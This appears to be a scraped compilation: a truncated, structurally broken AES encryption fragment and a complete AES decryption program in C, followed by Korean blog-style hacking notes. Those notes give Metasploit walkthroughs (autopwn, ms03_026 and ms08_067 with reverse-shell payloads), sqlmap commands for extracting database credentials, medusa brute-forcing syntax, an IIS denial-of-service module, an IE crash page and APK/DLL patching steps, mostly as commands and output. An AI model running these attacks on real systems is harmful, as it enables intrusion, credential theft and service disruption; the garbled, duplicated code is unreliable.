unsigned char Tmp,Tm,t;

for(i=0;i<4;i++)

{

t=state[0][i];

Tmp = state[0][i] ^ state[1][i] ^ state[2][i] ^ state[3][i] ;

Tm = state[0][i] ^ state[1][i] ; Tm = xtime(Tm); state[0][i] ^= Tm ^ Tmp ;

Tm = state[1][i] ^ state[2][i] ; Tm = xtime(Tm); state[1][i] ^= Tm ^ Tmp ;

Tm = state[2][i] ^ state[3][i] ; Tm = xtime(Tm); state[2][i] ^= Tm ^ Tmp ;

Tm = state[3][i] ^ t ; Tm = xtime(Tm); state[3][i] ^= Tm ^ Tmp ;

}

// Cipher is the main function that encrypts the PlainText.

void Cipher()

{

int i,j,round=0;

//Copy the input PlainText to state array.

for(i=0;i<4;i++)

{

for(j=0;j<4;j++)

{

state[j][i] = in[i*4 + j];

}

// Add the First round key to the state before starting the rounds.

AddRoundKey(0);

// There will be Nr rounds.

// The first Nr-1 rounds are identical.

// These Nr-1 rounds are executed in the loop below.

for(round=1;round<Nr;round++)

{

SubBytes();

ShiftRows();

MixColumns();

AddRoundKey(round);

}

// The last round is given below.

// The MixColumns function is not here in the last round.

SubBytes();

ShiftRows();

AddRoundKey(Nr);

// The encryption process is over.

// Copy the state array to output array.

for(i=0;i<4;i++)

{

for(j=0;j<4;j++)

{

out[i*4+j]=state[j][i];

}

int main()

{

int i;

// Recieve the length of key here.

while(Nr!=128 && Nr!=192 && Nr!=256)

{

printf("Enter the length of Key(128, 192 or 256 only): ");

scanf("%d",&Nr);

}

// Calculate Nk and Nr from the recieved value.

Nk = Nr / 32;

Nr = Nk + 6;

// Part 1 is for demonstrative purpose. The key and plaintext are given in the program itself.

// Part 1: ********************************************************

// The array temp stores the key.

// The array temp2 stores the plaintext.

unsigned char temp[32] = {0x00 ,0x01 ,0x02 ,0x03 ,0x04 ,0x05 ,0x06 ,0x07 ,0x08 ,0x09 ,0x0a ,0x0b ,0x0c ,0x0d ,0x0e ,0x0f};

unsigned char temp2[32]= {0x00 ,0x11 ,0x22 ,0x33 ,0x44 ,0x55 ,0x66 ,0x77 ,0x88 ,0x99 ,0xaa ,0xbb ,0xcc ,0xdd ,0xee ,0xff};

// Copy the Key and PlainText

for(i=0;i<Nk*4;i++)

{

Key[i]=temp[i];

in[i]=temp2[i];

}

// *********************************************************

// Uncomment Part 2 if you need to read key and plaintext from the keyboard.

// Part 2: ********************************************************

//Clear the input buffer

flushall();

//Recieve the key from the user

printf("Enter the Key in hexadecimal: ");

for(i=0;i<Nk*4;i++)

{

scanf("%x",&Key[i]);

}

printf("Enter the PlainText in hexadecimal: ");

for(i=0;i<Nb*4;i++)

{

scanf("%x",&in[i]);

}

// ********************************************************

// The KeyExpansion routine must be called before encryption.

KeyExpansion();

// The next function call encrypts the PlainText with the Key using AES algorithm.

Cipher();

// Output the encrypted text.

printf("nText after encryption:n");

for(i=0;i<Nb*4;i++)

{

printf("%02x ",out[i]);

}

printf("nn");

}

/*
******************************************************************
**       Advanced Encryption Standard implementation in C.      **
**       By Niyaz PK                                            **
**       E-mail: niyazlife@gmail.com                            **
**       Downloaded from Website: www.hoozi.com                 **
******************************************************************
This is the source code for decryption using the latest AES algorithm.
AES algorithm is also called Rijndael algorithm. AES algorithm is 
recommended for non-classified use by the National Institute of Standards 
and Technology(NIST), USA. Now-a-days AES is being used for almost 
all encryption applications all around the world.

THE MAIN FEATURE OF THIS AES ENCRYPTION PROGRAM IS NOT EFFICIENCY; IT
IS SIMPLICITY AND READABILITY. THIS SOURCE CODE IS PROVIDED FOR ALL
TO UNDERSTAND THE AES ALGORITHM.

Comments are provided as needed to understand the program. But the 
user must read some AES documentation to understand the underlying 
theory correctly.

It is not possible to describe the complete AES algorithm in detail 
here. For the complete description of the algorithm, point your 
browser to:
http://www.csrc.nist.gov/publications/fips/fips197/fips-197.pdf

Find the Wikipedia page of AES at:
http://en.wikipedia.org/wiki/Advanced_Encryption_Standard
******************************************************************
*/

// Include stdio.h for standard input/output.
// Used for giving output to the screen.
#include<stdio.h>

// The number of columns comprising a state in AES. This is a constant in AES. Value=4
#define Nb 4

// The number of rounds in AES Cipher. It is simply initiated to zero. The actual value is recieved in the program.
int Nr=0;

// The number of 32 bit words in the key. It is simply initiated to zero. The actual value is recieved in the program.
int Nk=0;

// in - it is the array that holds the CipherText to be decrypted.
// out - it is the array that holds the output of the for decryption.
// state - the array that holds the intermediate results during decryption.
unsigned char in[16], out[16], state[4][4];

// The array that stores the round keys.
unsigned char RoundKey[240];

// The Key input to the AES Program
unsigned char Key[32];

int getSBoxInvert(int num)
{
int rsbox[256] =
{ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb
, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb
, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e
, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25
, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92
, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84
, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06
, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b
, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73
, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e
, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b
, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4
, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f
, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef
, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61
, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d };

return rsbox[num];
}

int getSBoxValue(int num)
{
	int sbox[256] =   {
	//0     1    2      3     4    5     6     7      8    9     A      B    C     D     E     F
	0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
	0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
	0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
	0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
	0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
	0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
	0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
	0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
	0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
	0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
	0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
	0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
	0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
	0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
	0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
	0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 };
	return sbox[num];
}

// The round constant word array, Rcon[i], contains the values given by 
// x to th e power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8)
// Note that i starts at 1, not 0).
int Rcon[255] = {
	0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 
	0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 
	0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 
	0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 
	0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 
	0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 
	0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 
	0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 
	0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 
	0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 
	0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 
	0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 
	0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 
	0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 
	0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 
	0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb  };

// This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states. 
void KeyExpansion()
{
	int i,j;
	unsigned char temp[4],k;
	
	// The first round key is the key itself.
	for(i=0;i<Nk;i++)
	{
		RoundKey[i*4]=Key[i*4];
		RoundKey[i*4+1]=Key[i*4+1];
		RoundKey[i*4+2]=Key[i*4+2];
		RoundKey[i*4+3]=Key[i*4+3];
	}

	// All other round keys are found from the previous round keys.
	while (i < (Nb * (Nr+1)))
	{
		for(j=0;j<4;j++)
		{
			temp[j]=RoundKey[(i-1) * 4 + j];
		}
		if (i % Nk == 0)
		{
			// This function rotates the 4 bytes in a word to the left once.
			// [a0,a1,a2,a3] becomes [a1,a2,a3,a0]

			// Function RotWord()
			{
				k = temp[0];
				temp[0] = temp[1];
				temp[1] = temp[2];
				temp[2] = temp[3];
				temp[3] = k;
			}

			// SubWord() is a function that takes a four-byte input word and 
			// applies the S-box to each of the four bytes to produce an output word.

			// Function Subword()
			{
				temp[0]=getSBoxValue(temp[0]);
				temp[1]=getSBoxValue(temp[1]);
				temp[2]=getSBoxValue(temp[2]);
				temp[3]=getSBoxValue(temp[3]);
			}

			temp[0] =  temp[0] ^ Rcon[i/Nk];
		}
		else if (Nk > 6 && i % Nk == 4)
		{
			// Function Subword()
			{
				temp[0]=getSBoxValue(temp[0]);
				temp[1]=getSBoxValue(temp[1]);
				temp[2]=getSBoxValue(temp[2]);
				temp[3]=getSBoxValue(temp[3]);
			}
		}
		RoundKey[i*4+0] = RoundKey[(i-Nk)*4+0] ^ temp[0];
		RoundKey[i*4+1] = RoundKey[(i-Nk)*4+1] ^ temp[1];
		RoundKey[i*4+2] = RoundKey[(i-Nk)*4+2] ^ temp[2];
		RoundKey[i*4+3] = RoundKey[(i-Nk)*4+3] ^ temp[3];
		i++;
	}
}

// This function adds the round key to state.
// The round key is added to the state by an XOR function.
void AddRoundKey(int round) 
{
	int i,j;
	for(i=0;i<4;i++)
	{
		for(j=0;j<4;j++)
		{
			state[j][i] ^= RoundKey[round * Nb * 4 + i * Nb + j];
		}
	}
}

// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
void InvSubBytes()
{
	int i,j;
	for(i=0;i<4;i++)
	{
		for(j=0;j<4;j++)
		{
			state[i][j] = getSBoxInvert(state[i][j]);

		}
	}
}

// The ShiftRows() function shifts the rows in the state to the left.
// Each row is shifted with different offset.
// Offset = Row number. So the first row is not shifted.
void InvShiftRows()
{
	unsigned char temp;

	// Rotate first row 1 columns to right	
	temp=state[1][3];
	state[1][3]=state[1][2];
	state[1][2]=state[1][1];
	state[1][1]=state[1][0];
	state[1][0]=temp;

	// Rotate second row 2 columns to right	
	temp=state[2][0];
	state[2][0]=state[2][2];
	state[2][2]=temp;

	temp=state[2][1];
	state[2][1]=state[2][3];
	state[2][3]=temp;

	// Rotate third row 3 columns to right
	temp=state[3][0];
	state[3][0]=state[3][1];
	state[3][1]=state[3][2];
	state[3][2]=state[3][3];
	state[3][3]=temp;
}

// xtime is a macro that finds the product of {02} and the argument to xtime modulo {1b}  
#define xtime(x)   ((x<<1) ^ (((x>>7) & 1) * 0x1b))

// Multiplty is a macro used to multiply numbers in the field GF(2^8)
#define Multiply(x,y) (((y & 1) * x) ^ ((y>>1 & 1) * xtime(x)) ^ ((y>>2 & 1) * xtime(xtime(x))) ^ ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ ((y>>4 & 1) * xtime(xtime(xtime(xtime(x))))))

// MixColumns function mixes the columns of the state matrix.
// The method used to multiply may be difficult to understand for the inexperienced.
// Please use the references to gain more information.
void InvMixColumns()
{
	int i;
	unsigned char a,b,c,d;
	for(i=0;i<4;i++)
	{	
	
		a = state[0][i];
		b = state[1][i];
		c = state[2][i];
		d = state[3][i];

		
		state[0][i] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
		state[1][i] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
		state[2][i] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
		state[3][i] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
	}
}

// InvCipher is the main function that decrypts the CipherText.
void InvCipher()
{
	int i,j,round=0;

	//Copy the input CipherText to state array.
	for(i=0;i<4;i++)
	{
		for(j=0;j<4;j++)
		{
			state[j][i] = in[i*4 + j];
		}
	}

	// Add the First round key to the state before starting the rounds.
	AddRoundKey(Nr); 

	// There will be Nr rounds.
	// The first Nr-1 rounds are identical.
	// These Nr-1 rounds are executed in the loop below.
	for(round=Nr-1;round>0;round--)
	{
		InvShiftRows();
		InvSubBytes();
		AddRoundKey(round);
		InvMixColumns();
	}
	
	// The last round is given below.
	// The MixColumns function is not here in the last round.
	InvShiftRows();
	InvSubBytes();
	AddRoundKey(0);

	// The decryption process is over.
	// Copy the state array to output array.
	for(i=0;i<4;i++)
	{
		for(j=0;j<4;j++)
		{
			out[i*4+j]=state[j][i];
		}
	}
}
int main()
{
	int i;

	// Recieve the length of key here.
	while(Nr!=128 && Nr!=192 && Nr!=256)
	{
		printf("Enter the length of Key(128, 192 or 256 only): ");
		scanf("%d",&Nr);
	}
	// Calculate Nk and Nr from the recieved value.
	Nk = Nr / 32;
	Nr = Nk + 6;



// Part 1 is for demonstrative purpose. The key and plaintext are given in the program itself.
// 	Part 1: ********************************************************
	
	// The array temp stores the key.
	// The array temp2 stores the plaintext.
	unsigned char temp[32] = {0x00  ,0x01  ,0x02  ,0x03  ,0x04  ,0x05  ,0x06  ,0x07  ,0x08  ,0x09  ,0x0a  ,0x0b  ,0x0c  ,0x0d  ,0x0e  ,0x0f};
	unsigned char temp2[32]= {0x69  ,0xc4  ,0xe0  ,0xd8  ,0x6a  ,0x7b  ,0x04  ,0x30  ,0xd8  ,0xcd  ,0xb7  ,0x80  ,0x70  ,0xb4  ,0xc5  ,0x5a};
	
	// Copy the Key and CipherText
	for(i=0;i<Nk*4;i++)
	{
		Key[i]=temp[i];
		in[i]=temp2[i];
	}

//	       *********************************************************




// Uncomment Part 2 if you need to read Key and CipherText from the keyboard.
// 	Part 2: ********************************************************
/*
	//Clear the input buffer
	flushall();

	//Recieve the Key from the user
	printf("Enter the Key in hexadecimal: ");
	for(i=0;i<Nk*4;i++)
	{
		scanf("%x",&Key[i]);
	}

	printf("Enter the CipherText in hexadecimal: ");
	for(i=0;i<Nb*4;i++)
	{
		scanf("%x",&in[i]);
	}
*/
// 	        ********************************************************


	//The Key-Expansion routine must be called before the decryption routine.
	KeyExpansion();

	// The next function call decrypts the CipherText with the Key using AES algorithm.
	InvCipher();

	// Output the decrypted text.
	printf("nText after decryption:n");
	for(i=0;i<Nb*4;i++)
	{
		printf("%02x ",out[i]);
	}
	printf("nn");

}

[C++] Base64 encoding

[원문보기]

CString strmsg;

ToBase64(strmsg,strlen(strmsg));

리턴값은 Cstring 과 유사한 타입이다.

CStringA ToBase64(const void* bytes, int byteLength);

CStringA ToBase64(const void* bytes, int byteLength)

{

ASSERT(0 != bytes);

CStringA base64;

int base64Length = Base64EncodeGetRequiredLength(byteLength);

VERIFY(Base64Encode(static_cast<const BYTE*>(bytes),

byteLength,

base64.GetBufferSetLength(base64Length),

&base64Length));

base64.ReleaseBufferSetLength(base64Length);

return base64;

}

[C++] Base64 encoding

[원문보기]

CString strmsg;

ToBase64(strmsg,strlen(strmsg));

리턴값은 Cstring 과 유사한 타입이다.

CStringA ToBase64(const void* bytes, int byteLength);

CStringA ToBase64(const void* bytes, int byteLength)

{

ASSERT(0 != bytes);

CStringA base64;

int base64Length = Base64EncodeGetRequiredLength(byteLength);

VERIFY(Base64Encode(static_cast<const BYTE*>(bytes),

byteLength,

base64.GetBufferSetLength(base64Length),

&base64Length));

base64.ReleaseBufferSetLength(base64Length);

return base64;

}

[C#] dll 변조

[원문보기]

C#으로 된 dll은 reflector로 decompile 한 코드를 확인하고,

IDA 로 HEX 위치를 확인해,

ULTRA EDIT로 편집해 변조(패치) 가능하다.

C# DLL이 포함된 모바일 앱(안드로이드 apk)의 경우 이런 식으로 가공하면, 설치 후 사용할 수 있다..

[XSS] 익스플로러 취약점을 이용한 클라이언트 공격

[원문보기]

Post-mortem Analysis of a Use-After-Free Vulnerability (CVE-2011-1260)

로 제목이 되어있고, http://www.exploit-monday.com/2011/07/post-mortem-analysis-of-use-after-free_07.html

에 소개되어 있다.

<html>

<body>

document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";

document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";

document.body.innerHTML += "AAAAAAA";

document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";

</script>

</body>

</html>

위 코드가 있는 페이지에 접속하면 ie에 오류를 일으킬 수 있고, 영문 XP pro 에서는 다운까지 시킬 수 있다고 한다.

이거 말고도, 쉘 탈취도 있는데, http://vimeo.com/10171900

동영상을 참고할 수 있다.

XSS 가 세션, 쿠키 탈취, CSRF 정도만 되는 줄 알았는데, 쉘탈취 까지 될 줄이야....

smali <-> java

[원문보기]

http://blog.indiandragon.in/2012/10/ultimate-android-reverse-engineeringdecompiling-guide-part-1-softwares-and-procedure.html

위 사이트를 참고 하면 된다.

https://code.google.com/p/smali/downloads/detail?name=baksmali-1.4.0.jar&can=4&q=

baksmali 를 받고,

> java -jar baksmali-1.4.0.jar classes.dex

하면, out 디렉터리에 smali 코드가 나온다.

다시 dex로 만들 땐 아래와 같이 한다.

> java -jar smali-1.4.0.jar out

음.

[backtrack] ms10_065_ii6_asp_dos

[원문보기]

iis 6.0 취약점을 이용한 공격

Dim variable

variable = Request.Form("FOOBAR")

위와 같이 변수 받는 내용이 있는 페이지여야 하며, 아래와 같이 RHOST와 URI 설정 후 run을 한다.

URI default 값은 page.asp 이다.

https://github.com/OpenWireSec/metasploit/blob/master/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb

Microsoft IIS 6.0 ASP Stack Overflow (Stack Exhaustion) Denial of Service (MS10-065) 를 참고했다.

http://www.exploit-db.com/exploits/15167/

[backtrack] autopwn 을 이용한 자동 공격

[원문보기]

backtrack 4를 설치하거나, image를 받아서 실행시킨다.

backtrack4는 자동으로 네트워크 설정이 안 되기 때문에,

# /etc/init.d/networking start

자동으로 실행시키려면, .bash_profile에 등록 한다.

# vi /root/.bash_profile

/etc/init.d/networking start

이젠 autopwn을 사용할 차례다.

# msfconsole

msf > db_status

[*] postgresql selected, no connection

라고 나온다.

그러면, 사용할 수 있는 db를 알아보기 위해

msf > db_driver

[*] Active Driver: postgresql

[*] Available: postgresql, mysql, sqlite3

mysql과 postgresql로 test해 봤는데, 잘 안 되어서 sqlite3로 시도했다.

msf > db_driver sqlite3

[*] Using database driver sqlite3

msf > db_create client

[-]

[-] Warning: The db_create command is deprecated, use db_connect instead.

[-] The database and schema will be created automatically by

[-] db_connect. If db_connect fails to create the database, create

[-] it manually with your DBMS's administration tools.

[-]

[*] The specified database already exists, connecting

[*] Successfully connected to the database

[*] File: client

msf > db_status

[*] sqlite3 connected to client

위의 과정으로 연결 상태를 확인한 후, 대상 ip를 아래와 같이 입력하여, 자동 공격을 시도해 본다.

msf > db_nmap -sS -sV -T 5 -P0 -O xxx.xxx.xxx.xxx

Starting Nmap 5.35DC1 ( http://nmap.org ) at 2012-06-07 10:35 EDT

Nmap scan report for xxx.xxx.xxx.xxx

Host is up (0.015s latency).

Not shown: 990 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 4.3 (protocol 2.0)

80/tcp open http Apache httpd 2.2.17 ((Unix) DAV/2 PHP/5.2.16)

111/tcp open rpcbind 2 (rpc #100000)

135/tcp filtered msrpc

139/tcp filtered netbios-ssn

445/tcp filtered microsoft-ds

1723/tcp filtered pptp

2869/tcp filtered icslap

3306/tcp open mysql MySQL (unauthorized)

4444/tcp filtered krb524

Device type: general purpose

Running: Apple Mac OS X 10.5.X

OS details: Apple Mac OS X 10.5.5 (Leopard)

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 10.86 seconds

msf > db_autopwn -p -e -t

[*] Analysis completed in 9 seconds (0 vulns / 0 refs)

[*]

[*] ================================================================================

[*] Matching Exploit Modules

[*] ================================================================================

[*] xxx.xxx.xxx.xxx:111 exploit/netware/sunrpc/pkernel_callit (port match)

[*] xxx.xxx.xxx.xxx:80 exploit/unix/webapp/oscommerce_filemanager (port match)

[*] xxx.xxx.xxx.xxx:80 exploit/windows/lotus/domino_http_accept_language (port match)

[*] xxx.xxx.xxx.xxx:80 exploit/windows/iis/ms02_018_htr (port match)

[*] xxx.xxx.xxx.xxx:80 exploit/unix/webapp/base_qry_common (port match)

[*] xxx.xxx.xxx.xxx:80 exploit/windows/http/trendmicro_officescan (port match)

음.... 성공하면, session 이 열렸다고 나오는데, 실패하면, 0 sesssions 라고 나온다.

http://www.youtube.com/watch?v=VXmE0QycUd8

나머지는 동영상을 참조 한다.

성공하면 아래와 같이 콘솔로 접근할 수 있다.

sessions -l

session -i 1

meterpreter > execute -f cmd.exe -H -i

c:WINDOWSsystem32>

[backtrack] sqlmap을 이용한 injection test 및 주요 정보 획득

[원문보기]

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u ""http://~/?param=1&param=2" -v 1 --current-user --password

를 입력해 error based 공격으로 id를 알아낸다.

파라미터를 어떤거에 대입할 건지 묻는 말이 나오는데, default는 앞에 있는 파라미터 이다.

id만 알아내도, 무작위 대입으로 외부에서 접근 가능한 db에 로그인 시도가 가능하다.

[backtrack] 무작위 공격 툴 medusa 사용법

[원문보기]

# medusa -M [PS] -h [IP] -u [ID] -p [PW]

[PS] : ssh, mysql, telnet ......

[IP] : ip address

[ID] : target id

[PW] password

여기서 -H, -U, -P로 하면, [] 에 파일 경로를 입력하여 대입할 수 있다.

시간이 오래걸리고, 부하가 예상되니, 주의해서 사용할 것.

dictionary 파일과 패스워드파일은 좋은게 없으니, 알아서 잘 구하길......

[backtrack] msrpc 135 파일 및 프린터 공유 취약점

[원문보기]

위의 두개가 체크 되어 있으면,

$ msfconsole

                ##                          ###           ##    ##
##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > show payloads
msf exploit(ms03_026_dcom) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(ms03_026_dcom) > set LHOST [MY IP ADDRESS]
msf exploit(ms03_026_dcom) > set RHOST [TARGET IP]
msf exploit(ms03_026_dcom) > exploit

위와 같은 공격으로 쉘이 침투 당하게 된다.

http://www.youtube.com/watch?v=Vt4gyZShUSc

[backtrack] netbios 바인딩 microsoft-ds 445 취약점

[원문보기]

그림과 같이 설정되어 있으면, backtrack의 ms08_067_netapi를 이용한 exploit으로 쉘에 접근할 수 있다.

nmap을 통해 확인해 보면,

445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds

위와 같이 열려 있는 경우가 있다.

backtrack에서

$ msfconsole

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 10.211.55.140
RHOST => 10.211.55.140
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 10.211.55.162

msf exploit(ms08_067_netapi) > exploit

위와 같이 하면, 바로 쉘에 접근되고, 관련 동영상은 아래 주소에 있다.

http://www.youtube.com/watch?v=GhtdCc3zLhg

http://www.youtube.com/watch?v=d8XQx1zGZ_w&feature=related

해결 방법은 netbios 사용 안함(disable)로 설정하면 된다.

